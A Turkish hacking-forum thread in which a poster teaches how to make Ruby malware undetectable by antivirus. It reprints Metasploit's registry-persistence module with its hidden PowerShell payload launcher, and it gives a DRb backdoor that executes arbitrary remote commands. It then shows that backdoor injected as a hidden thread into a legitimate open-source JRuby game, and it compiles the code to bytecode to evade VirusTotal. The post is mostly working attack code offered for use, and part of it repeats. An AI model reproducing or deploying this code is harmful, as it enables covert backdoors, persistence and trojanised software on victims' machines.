- Konuyu başlatan
- #21
evt gayet güzelKendine yazık ediyorsun abi böyle düşünme emeklerine sağlık çok güzel olmuş maşallah


Follow along with the video below to see how to install our site as a web app on your home screen.
Not: This feature may not be available in some browsers.
evt gayet güzelKendine yazık ediyorsun abi böyle düşünme emeklerine sağlık çok güzel olmuş maşallah
Elinize sağlık
Programda kullanılan sayfaların, modellerin, objelerin kaynak kodları burada duruyor.![]()
Selamlar! Ben Bunjo. Bu konuda, eskiden de olduğu gibi Antivirüslerle ve Virustotal ile alay etmeye devam ediyorum.
Uzun lafın kısası önceden yazmış olduğum, Remote Code Execution servisi kodlamak serisinin 3. yazısı ile karşınızdayım.
![]()
FUD (Fully UnDetectable) Nedir?
FUD yazılım, "Fully UnDetectable" (Tamamen Algılanamaz) yazılımın kısaltmasıdır. Genellikle kötü amaçlı yazılımlar için kullanılır.
Bu tür yazılımlar, antivirüs programları ve diğer güvenlik yazılımları tarafından tespit edilememek üzere tasarlanmıştır.
Genel ağdan alınmıştır.
![]()
Ruby ve FUD Çalışmaları Hakkında
Sıkıcı tanımları bir kenara bırakıp işimize bakalım. Bir Ruby kodunu bildiğiniz üzere .EXE uzantısına çevirmek, yobazlığı bitirmekten daha zordur. Bunu bu yazımda anlatmıştım. Bıraktığım uzantıya tıklayarak bu yazıma ulaşabilirsiniz.
Her zaman bir yazılımı %100 FUD yapmak kolay değildir, yapılsa dahi zaman ilerledikçe sizin kaynak kodunuz artık tanınmış hale gelecektir. Antivirüs firmaları bunlar için birçok önlem almaya kalkışsa dahi bazı virüs yazılımcıları bu önlemleri atlatacak taktik kelimesini kullanabilirim evet çeşitli taktikler geliştirip bu önlemleri alt ediyorlar.
Eskiden bilgisayara giren bir virüs yazılımı, kendisini yedek depolama alanlarına (backup dosyaları olarak anlayabilirsiniz) kopyalardı. Örneğin bunlardan en basiti temp klasörüdür.
Artık bu işlemler antivirüs yazılımları tarafından kolayca algılanabiliyor. Virüsler temp klasöründeki kendi kopyasını sürekli olarak açmak yerine, kendilerini hizmet olarak sisteminize aktarabiliyorlar. Bunun için örnek olarak Metasploit aracında bulunan bir post modülünü inceleyelim. Bu modülleri ileri zamanlarda kullanmayı ve kendi yazdığınız virüsünüze entegre etmeyi anlatacağım.
Post modülünün uzantısı: metasploit-framework/modules/exploits/windows/local/registry_persistence.rb at master · rapid7/metasploit-framework
Modül için kaynak kod:
Ruby:## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Powershell include Msf::Post::Windows::Registry include Msf::Post::File def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Registry Only Persistence', 'Description' => %q{ This module will install a payload that is executed during boot. It will be executed either at user logon or system startup via the registry value in "CurrentVersion\Run" (depending on privilege and selected method). The payload will be installed completely in registry. }, 'License' => MSF_LICENSE, 'Author' => [ 'Donny Maasland <donny.maasland[at]fox-it.com>', ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter', 'shell' ], 'Targets' => [ [ 'Automatic', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2015-07-01', 'DefaultOptions' => { 'DisablePayloadHandler' => true } )) register_options([ OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), OptString.new('BLOB_REG_KEY', [false, 'The registry key to use for storing the payload blob. (Default: random)' ]), OptString.new('BLOB_REG_NAME', [false, 'The name to use for storing the payload blob. (Default: random)' ]), OptString.new('RUN_NAME', [false, 'The name to use for the \'Run\' key. (Default: random)' ]), OptBool.new('CREATE_RC', [false, 'Create a resource file for cleanup', true]), OptInt.new('SLEEP_TIME', [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]), ]) end def generate_payload_blob opts = { wrap_double_quotes: true, encode_final_payload: true, } blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1] return blob end def generate_cmd(root_path, blob_key_name, blob_key_reg) cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" return cmd end def generate_blob_reg blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}" blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8) return blob_reg_key, blob_reg_name end def generate_cmd_reg cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8) return cmd_reg end def install_blob(root_path, blob, blob_reg_key, blob_reg_name) blob_reg_key = "#{root_path}\\#{blob_reg_key}" new_key = false if not registry_enumkeys(blob_reg_key) unless registry_createkey(blob_reg_key) fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}") end print_good("Created registry key #{blob_reg_key}") new_key = true end unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ") fail_with(Failure::Unknown,'Failed to open the registry key for writing') end print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}") return new_key end def install_cmd(cmd, cmd_reg, root_path) unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ') fail_with(Failure::Unknown,'Could not install run key') end print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}") end def get_root_path if datastore['STARTUP'] == 'USER' root_path = 'HKCU' else root_path = 'HKLM' end return root_path end def log_file(log_path = nil) # Thanks Meatballs for this # Get hostname host = session.session_host # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) else logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) end # Create the log directory ::FileUtils.mkdir_p(logs) # logfile name logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc') logfile end def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this clean_rc = log_file() @clean_up_rc = "" @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n" if new_key @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" end @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n" file_local_write(clean_rc, @clean_up_rc) print_status("Clean up Meterpreter RC file: #{clean_rc}") report_note(:host => session.session_host, type: 'host.persistance.cleanup', data: { local_id: session.sid, stype: session.type, desc: session.info, platform: session.platform, via_payload: session.via_payload, via_exploit: session.via_exploit, created_at: Time.now.utc, commands: @clean_up_rc } ) end def check unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") return Msf::Exploit::CheckCode::Safe end return Msf::Exploit::CheckCode::Vulnerable end def exploit unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") print_warning('Warning: PowerShell does not seem to be available, persistence might fail') end print_status('Generating payload blob..') blob = generate_payload_blob print_good("Generated payload, #{blob.length} bytes") root_path = get_root_path print_status("Root path is #{root_path}") blob_reg_key, blob_reg_name = generate_blob_reg cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name) cmd_reg = generate_cmd_reg print_status('Installing payload blob..') new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name) print_status('Installing run key') install_cmd(cmd, cmd_reg, root_path) if datastore['CREATE_RC'] create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) end end end
Kodu incelediğimiz zaman bir Metasploit modülü olduğu kullandığı sınıflardan anlaşılıyor.
Ruby:def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Registry Only Persistence', 'Description' => %q{ This module will install a payload that is executed during boot. It will be executed either at user logon or system startup via the registry value in "CurrentVersion\Run" (depending on privilege and selected method). The payload will be installed completely in registry. }, 'License' => MSF_LICENSE, 'Author' => [ 'Donny Maasland <donny.maasland[at]fox-it.com>', ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter', 'shell' ], 'Targets' => [ [ 'Automatic', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2015-07-01', 'DefaultOptions' => { 'DisablePayloadHandler' => true } ))
Ruby programlama dilinde initialize() fonksiyonu sınıfların içinde yazılır ve sınıf çağrımı yapıldığı zaman bu fonksiyon otomatik olarak çalıştırılır. Bu yüzden modül/exploit/evasion/auxiliary ile alakalı bilgiler bu kısımda listeler ve hash verileri halinde saklanır. Kısacası bu kısım Modülün yazarı, lisansı ve platformu vb. bilgileri içer,r.
Kodda aşağı taraflara indiğimiz zaman,
Ruby:register_options([ OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), OptString.new('BLOB_REG_KEY', [false, 'The registry key to use for storing the payload blob. (Default: random)' ]), OptString.new('BLOB_REG_NAME', [false, 'The name to use for storing the payload blob. (Default: random)' ]), OptString.new('RUN_NAME', [false, 'The name to use for the \'Run\' key. (Default: random)' ]), OptBool.new('CREATE_RC', [false, 'Create a resource file for cleanup', true]), OptInt.new('SLEEP_TIME', [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]), ]) end def generate_payload_blob opts = { wrap_double_quotes: true, encode_final_payload: true, } blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1] return blob end def generate_cmd(root_path, blob_key_name, blob_key_reg) cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" return cmd end def generate_blob_reg blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}" blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8) return blob_reg_key, blob_reg_name end def generate_cmd_reg cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8) return cmd_reg end def install_blob(root_path, blob, blob_reg_key, blob_reg_name) blob_reg_key = "#{root_path}\\#{blob_reg_key}" new_key = false if not registry_enumkeys(blob_reg_key) unless registry_createkey(blob_reg_key) fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}") end print_good("Created registry key #{blob_reg_key}") new_key = true end unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ") fail_with(Failure::Unknown,'Failed to open the registry key for writing') end print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}") return new_key end
Bu kısımda çalıştırılacak olan komutları ve payloadları saklayan veri dizileri var. Detaylı olarak ayıklar isek
Ruby:register_options([ OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), OptString.new('BLOB_REG_KEY', [false, 'The registry key to use for storing the payload blob. (Default: random)' ]), OptString.new('BLOB_REG_NAME', [false, 'The name to use for storing the payload blob. (Default: random)' ]), OptString.new('RUN_NAME', [false, 'The name to use for the \'Run\' key. (Default: random)' ]), OptBool.new('CREATE_RC', [false, 'Create a resource file for cleanup', true]), OptInt.new('SLEEP_TIME', [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]), ]) end
Bu kısımlar Metasploit içerisinde bu modülü kullanan kişinin kendisine göre ayarlayabileceği kayıt kısımlarını barındırıyor. Başlangı, uyku süresi, çalışma ismi gibi gibi verilere buradan erişiliyor.
Ruby:def generate_cmd(root_path, blob_key_name, blob_key_reg) cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" return cmd end
Bir önceki kısımda bahsettiğim kullanıcının opsiyonel olarak ayarlamak istediği veriler burada bir komut içerisinde kullanılıyor.
Ruby:def log_file(log_path = nil) # Thanks Meatballs for this # Get hostname host = session.session_host # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) else logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) end
Ruby:def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this clean_rc = log_file() @clean_up_rc = "" @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n" if new_key @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" end @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n" file_local_write(clean_rc, @clean_up_rc) print_status("Clean up Meterpreter RC file: #{clean_rc}") report_note(:host => session.session_host, type: 'host.persistance.cleanup', data: { local_id: session.sid, stype: session.type, desc: session.info, platform: session.platform, via_payload: session.via_payload, via_exploit: session.via_exploit, created_at: Time.now.utc, commands: @clean_up_rc } ) end
Log dosyaları, işlem numarası, işlem tipi vb. verilerin temizlendiği fonksiyonu da burada görebiliyoruz.
Ruby:def exploit unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") print_warning('Warning: PowerShell does not seem to be available, persistence might fail') end print_status('Generating payload blob..') blob = generate_payload_blob print_good("Generated payload, #{blob.length} bytes") root_path = get_root_path print_status("Root path is #{root_path}") blob_reg_key, blob_reg_name = generate_blob_reg cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name) cmd_reg = generate_cmd_reg print_status('Installing payload blob..') new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name) print_status('Installing run key') install_cmd(cmd, cmd_reg, root_path) if datastore['CREATE_RC'] create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) end end end
Burada da sistemde PowerShell varlığı kontrol edilditken sonra asıl exploit burada çalışıyor, yani diğer anlattığım ve anlatmadığım kodda var olan fonksiyonlar burada çalışıyor ve enjeksiyon işleminde rol alıyor.
![]()
Ruby ile FUD Çalışmaları
Bashetmiş olduğum, Ruby kodunun derlenememesi olayı bize büyük bir dezavantaj sağlıyor elbette. Ama bunu yararımıza kullanabiliriz.
Ruby kodu JRuby yani Java-Ruby derleyicisi ile birlikte Java formatına çevrilebiliyor. Bunun sebeplerini sorarsanız: Ruby kendi VM ortamında yorumlanır, yani Java dilide bir sanal ortamda derlendiği için bu benzerlik bize olumluluk sağlar, bunun yanında JRuby yorumlayıcısının geliştiricileri bunun içinde özen göstermişlerdir.
Bu dezavantajı yararımıza kullanma konusuna devam eder isek, Ruby evet derlenemeyen bir dildir ama bunun yanıda da yüksek seviyeli bir programlama dilidir. Az kodla çok iş yapabilirsiniz. Eskiden yazmış olduğum bir Uzak Kod çalıştırma Servisi kodlamak adında yazım vardı. Bu yazıda iki adet kod paylaşımı yapmıştım.
Antivirüslerle Alay Etmek! (RCE #2) (%100 FUD)
Merhaba ben saldırı timlerinden Bunjo, bu konuda piyasada bulunan anti virüsler ile biraz eğleneceğiz. İlk Konu: Remote Code Execution Servisi Kodlamak! #1 - client.rb - require 'drb' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service("druby://0.0.0.0:8080", RShell.new)...www.turkhackteam.org
server.rb içeriği:
Ruby:require 'drb' begin rshell = DRbObject.new_with_uri("druby://localhost:8080") loop do begin STDOUT.print("Command: ") command = gets STDOUT.puts("\nOutput: ") puts rshell.exec command rescue end end rescue => exception STDOUT.puts(exception) end
client.rb içeriği:
Ruby:require 'drb' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service("druby://0.0.0.0:8080", RShell.new) DRb.thread.join
Bakın sadece arka planda basit bir backdoor görevi gören bu kod sade haliyle derlenmemiş biçimde %100 oranında sonuç vermişti. Antivirüsler algılamasa bile Virustotal bu kodu derlenmeden yani kodları açık olarak yüklendiği için, kod açıklamaları kısmında bir virüs olduğunu ve backdoor görevi gördüğünü algılamıştı.
![]()
Bu sorundan kurtulmak için birçok çözüm yöntemimiz var. Yüksek seviyeli bir programlama dili olduğundan bahsetmiştim, bu sayede az kod ile çok iş yapabiliyoruz. Yani 5000+ satırdan dağınık dosyalar halinde oluşan bir projeye 15 satırlık bu kodu çok rahat enjekte edebiliriz.
Örnek olarak Github platformunda yapılan bir projeyi inceleyelim.
![]()
GitHub - jamesmoriarty/scorched_earth: Scorched Earth clone in JRuby with no dependencies.
Scorched Earth clone in JRuby with no dependencies. - jamesmoriarty/scorched_earthgithub.com
Programla alakalı görsel:
![]()
Gördüğünüz gibi örnek olarak koyduğumuz basit olan bu uygulamanın dosya ağacı şu şekilde:
![]()
Yazılımcı, kullandığı kütüphaneleri bir "lib" adlı klasörde saklamış, bu sayede kullanıcının kütüphane indirmek için gem install komutunu indirmesine gerek kalmamış.
Kütüphaneyi incelediğimiz zaman,
![]()
Ruby:include Java import java.awt.event.WindowEvent import java.awt.image.BufferStrategy import javax.swing.JFrame import java.awt.Canvas import java.awt.Dimension import javax.swing.JPanel import java.awt.Color require 'scorched_earth/events/mouse_pressed' require 'scorched_earth/events/mouse_released' require 'scorched_earth/events/mouse_moved' module ScorchedEarth class GameWindow include java.awt.event.MouseMotionListener include java.awt.event.MouseListener attr_reader :buffer_strategy, :canvas, :game def initialize(width, height, game) @game = game @container = JFrame.new @canvas = Canvas.new @panel = @container.get_content_pane @container.set_default_close_operation JFrame::EXIT_ON_CLOSE @panel.set_preferred_size Dimension.new width, height @panel.set_layout nil @container.set_cursor nil @panel.add @canvas @container.pack @container.set_resizable false @container.set_visible true @canvas.set_bounds 0, 0, width, height @canvas.add_mouse_listener self @canvas.add_mouse_motion_listener self @canvas.set_ignore_repaint true @canvas.create_buffer_strategy 2 @buffer_strategy = @canvas.get_buffer_strategy end def run last_time = Time.now game.setup loop do delta = Time.now - last_time last_time = Time.now graphics = buffer_strategy.get_draw_graphics game.update delta game.render graphics graphics.dispose buffer_strategy.show sleep 1.0 / 60 end end private def mouse_moved(event) x = event.point.x y = event.point.y game.publish Events::MouseMoved.new x, y end def mouse_dragged(*args); end def mouse_pressed(event) x = event.point.x y = event.point.y game.publish Events::MousePressed.new x, y end def mouse_released(event) x = event.point.x y = event.point.y game.publish Events::MouseReleased.new x, y end def mouse_clicked(*args); end def mouse_entered(*args); end def mouse_exited(*args); end end end
Burada bahsettiğim java kütüphanelerini görüyoruz, proje JRuby ile yazılmış.
Buraya şifrelenmiş biçimde kendi virüsümüzü enjekte edebiliriz. Özellikle "Drb" kütüphanesini seçtim, bunun nedeni bu kütüphanenin Ruby dilinde kurulu olarak gelmesidir. Linux makinelerin çoğunda Ruby yüklü gelir ve içerisinde Bu kütüphane indirili olarak gelir bu sayede kullanıcıya zararlı amaçla kullanacağımız kütüphaneyi indirtmeyiz. Herhangi bir şüphelenme durumu da meydana gelmez.
Koda bağlı olarak istediğiniz yere enjekte edebilirsiniz.
Örnek olarak:
![]()
En aşağı kısıma eklenmiş bir biçimde zararlı kodumuz yer alıyor.
![]()
Ekstra olarak, ben thread() fonksiyonu kullandım bu sayede kodun işlemine hiçbir karışma olmadan bir arka tarafra bir işlem parçacığı olarak gözükeceğiz.
Daha büyük projelerde kod sayısı fazlalığından kod açıklamasından virüsün tespiti zorlaşacaktır. Bu kısa ve basit bir örnektir.
Buyurun ekleme yapılmış kod:
Ruby:include Java import java.awt.event.WindowEvent import java.awt.image.BufferStrategy import javax.swing.JFrame import java.awt.Canvas import java.awt.Dimension import javax.swing.JPanel import java.awt.Color require 'scorched_earth/events/mouse_pressed' require 'scorched_earth/events/mouse_released' require 'scorched_earth/events/mouse_moved' module ScorchedEarth class GameWindow include java.awt.event.MouseMotionListener include java.awt.event.MouseListener attr_reader :buffer_strategy, :canvas, :game def initialize(width, height, game) @game = game @container = JFrame.new @canvas = Canvas.new @panel = @container.get_content_pane @container.set_default_close_operation JFrame::EXIT_ON_CLOSE @panel.set_preferred_size Dimension.new width, height @panel.set_layout nil @container.set_cursor nil @panel.add @canvas @container.pack @container.set_resizable false @container.set_visible true @canvas.set_bounds 0, 0, width, height @canvas.add_mouse_listener self @canvas.add_mouse_motion_listener self @canvas.set_ignore_repaint true @canvas.create_buffer_strategy 2 @buffer_strategy = @canvas.get_buffer_strategy end def run last_time = Time.now game.setup loop do delta = Time.now - last_time last_time = Time.now graphics = buffer_strategy.get_draw_graphics game.update delta game.render graphics graphics.dispose buffer_strategy.show sleep 1.0 / 60 end end private def mouse_moved(event) x = event.point.x y = event.point.y game.publish Events::MouseMoved.new x, y end def mouse_dragged(*args); end def mouse_pressed(event) x = event.point.x y = event.point.y game.publish Events::MousePressed.new x, y end def mouse_released(event) x = event.point.x y = event.point.y game.publish Events::MouseReleased.new x, y end def mouse_clicked(*args); end def mouse_entered(*args); end def mouse_exited(*args); end end end require 'drb' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service("druby://0.0.0.0:8080", RShell.new) DRb.thread.join
Bir diğer yöntemimiz kodumuzu bytecode formatına çevirmek olacaktır.
Onu da bu konuda anlattım erişebilirsiniz.
Ruby Kodunun Derlenmesi Hakkında (Bytecode, EXE) #DevSecOps
Mehrabalar ben Bunjo, bu konuda Ruby ile yazılmış bir kodun derlenebilir olup olmadığını ve bytecode kavramını ele alacağım. Ruby Kodu Derlenebilir mi? Ruby kodunu derlemeye çalışmak benimde üzerinde uğraş gösterdiğim bir konuydu. Ruby derlenmiş bir dil olmayp, yorumlanabilir bir dil olduğu...www.turkhackteam.org
client.rb adlı bir dosya oluşturuyorum ve bunun içinde virüsümü yazıyorum.
convert.rb adlı dosyayada dönüşüm işlemini yapacak kodu yazıyorum.
Ruby:byte_code = RubyVM::InstructionSequence.compile_file 'client.rb' File.binwrite 'bytecode', byte_code.to_binary
![]()
bytecode formatında olan ruby kodunu çalıştırmayı bashettiğim konuda anlattığım için burada tekrar anlatmıyorum okuyunuz.
Bytecode çeviriminden sonra virüs totale bakalım:
![]()
Sonuca inanmayanlar hash değerini yazsın baksın.
![]()
Eskiden bir Ruby kodu olarak algılanıyorduk şimdi Virustotal reisimiz bunu da algılayamıyor. Bytecode formatında olduğumuz için.
Bu arada kodu bytecodeye çevirmeden çalıştırınca içeride kullandığımız kütüphane ile alakalı olduğunu düşünüyorum.
![]()
YoksunTotal bize Java kodu dedi hatta Python falan filan bile yazıyor kod uzantısı .rb olmasına rağmen. Doktor fazla üzerine gitmeyin dediği için bir şey söylemiyorum AMA!
![]()
Reacher ve ben bunu bir hakaret olarak kabul ediyoruz!
Bytecode dosyasını içerisinde çalıştıran kodu da deneyebilirsiniz yine antivirüsler bulamaycaktır.
![]()
Okuyan herkese teşekkürler fakat belirtmek istediğim birkaç şey var. Öncelikle konuda tamamen scantime üzerinde durdum runtime için ileride antivirüslerden makine taraflı kaçma yollarını anlatacağım. Bu kısımda fazla detaya girmeyeceğim, anlattıklarımın hepsi iç ağ içerisinde geçerlidir. Dış ağ için ekstra port ayarları gibi konuları kötü amaçlı kullanıma karşılık anlatmıyorum. İleri ki konularda Ruby kodunun içeriğini şifrelemeyi anlatacağım. Junky kod olaylarının ne kadar işe yarayıp yaramadığına da yine ileri konualrda değineceğim.
Anlattıklarım giriş seviye konulardır, kendinize göre scriptleri geliştirebilirsiniz WinApi ile alakalı etkileşim konumu okuyabilirsiniz.
Tekrardan söylüyorum bunlar iç ağ içerisinde geçerlidir, dış ağda kullanmayınız! bu yazı sadece eğitim amaçlıdır. Herhangi bir şekilde sorumluluk kabul etmiyorum.
İyi forumlar!
teşekkürler hocam
Programda kullanılan sayfaların, modellerin, objelerin kaynak kodları burada duruyor.![]()
Selamlar! Ben Bunjo. Bu konuda, eskiden de olduğu gibi Antivirüslerle ve Virustotal ile alay etmeye devam ediyorum.
Uzun lafın kısası önceden yazmış olduğum, Remote Code Execution servisi kodlamak serisinin 3. yazısı ile karşınızdayım.
![]()
FUD (Fully UnDetectable) Nedir?
FUD yazılım, "Fully UnDetectable" (Tamamen Algılanamaz) yazılımın kısaltmasıdır. Genellikle kötü amaçlı yazılımlar için kullanılır.
Bu tür yazılımlar, antivirüs programları ve diğer güvenlik yazılımları tarafından tespit edilememek üzere tasarlanmıştır.
Genel ağdan alınmıştır.
![]()
Ruby ve FUD Çalışmaları Hakkında
Sıkıcı tanımları bir kenara bırakıp işimize bakalım. Bir Ruby kodunu bildiğiniz üzere .EXE uzantısına çevirmek, yobazlığı bitirmekten daha zordur. Bunu bu yazımda anlatmıştım. Bıraktığım uzantıya tıklayarak bu yazıma ulaşabilirsiniz.
Her zaman bir yazılımı %100 FUD yapmak kolay değildir, yapılsa dahi zaman ilerledikçe sizin kaynak kodunuz artık tanınmış hale gelecektir. Antivirüs firmaları bunlar için birçok önlem almaya kalkışsa dahi bazı virüs yazılımcıları bu önlemleri atlatacak taktik kelimesini kullanabilirim evet çeşitli taktikler geliştirip bu önlemleri alt ediyorlar.
Eskiden bilgisayara giren bir virüs yazılımı, kendisini yedek depolama alanlarına (backup dosyaları olarak anlayabilirsiniz) kopyalardı. Örneğin bunlardan en basiti temp klasörüdür.
Artık bu işlemler antivirüs yazılımları tarafından kolayca algılanabiliyor. Virüsler temp klasöründeki kendi kopyasını sürekli olarak açmak yerine, kendilerini hizmet olarak sisteminize aktarabiliyorlar. Bunun için örnek olarak Metasploit aracında bulunan bir post modülünü inceleyelim. Bu modülleri ileri zamanlarda kullanmayı ve kendi yazdığınız virüsünüze entegre etmeyi anlatacağım.
Post modülünün uzantısı: metasploit-framework/modules/exploits/windows/local/registry_persistence.rb at master · rapid7/metasploit-framework
Modül için kaynak kod:
Ruby:## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Powershell include Msf::Post::Windows::Registry include Msf::Post::File def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Registry Only Persistence', 'Description' => %q{ This module will install a payload that is executed during boot. It will be executed either at user logon or system startup via the registry value in "CurrentVersion\Run" (depending on privilege and selected method). The payload will be installed completely in registry. }, 'License' => MSF_LICENSE, 'Author' => [ 'Donny Maasland <donny.maasland[at]fox-it.com>', ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter', 'shell' ], 'Targets' => [ [ 'Automatic', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2015-07-01', 'DefaultOptions' => { 'DisablePayloadHandler' => true } )) register_options([ OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), OptString.new('BLOB_REG_KEY', [false, 'The registry key to use for storing the payload blob. (Default: random)' ]), OptString.new('BLOB_REG_NAME', [false, 'The name to use for storing the payload blob. (Default: random)' ]), OptString.new('RUN_NAME', [false, 'The name to use for the \'Run\' key. (Default: random)' ]), OptBool.new('CREATE_RC', [false, 'Create a resource file for cleanup', true]), OptInt.new('SLEEP_TIME', [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]), ]) end def generate_payload_blob opts = { wrap_double_quotes: true, encode_final_payload: true, } blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1] return blob end def generate_cmd(root_path, blob_key_name, blob_key_reg) cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" return cmd end def generate_blob_reg blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}" blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8) return blob_reg_key, blob_reg_name end def generate_cmd_reg cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8) return cmd_reg end def install_blob(root_path, blob, blob_reg_key, blob_reg_name) blob_reg_key = "#{root_path}\\#{blob_reg_key}" new_key = false if not registry_enumkeys(blob_reg_key) unless registry_createkey(blob_reg_key) fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}") end print_good("Created registry key #{blob_reg_key}") new_key = true end unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ") fail_with(Failure::Unknown,'Failed to open the registry key for writing') end print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}") return new_key end def install_cmd(cmd, cmd_reg, root_path) unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ') fail_with(Failure::Unknown,'Could not install run key') end print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}") end def get_root_path if datastore['STARTUP'] == 'USER' root_path = 'HKCU' else root_path = 'HKLM' end return root_path end def log_file(log_path = nil) # Thanks Meatballs for this # Get hostname host = session.session_host # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) else 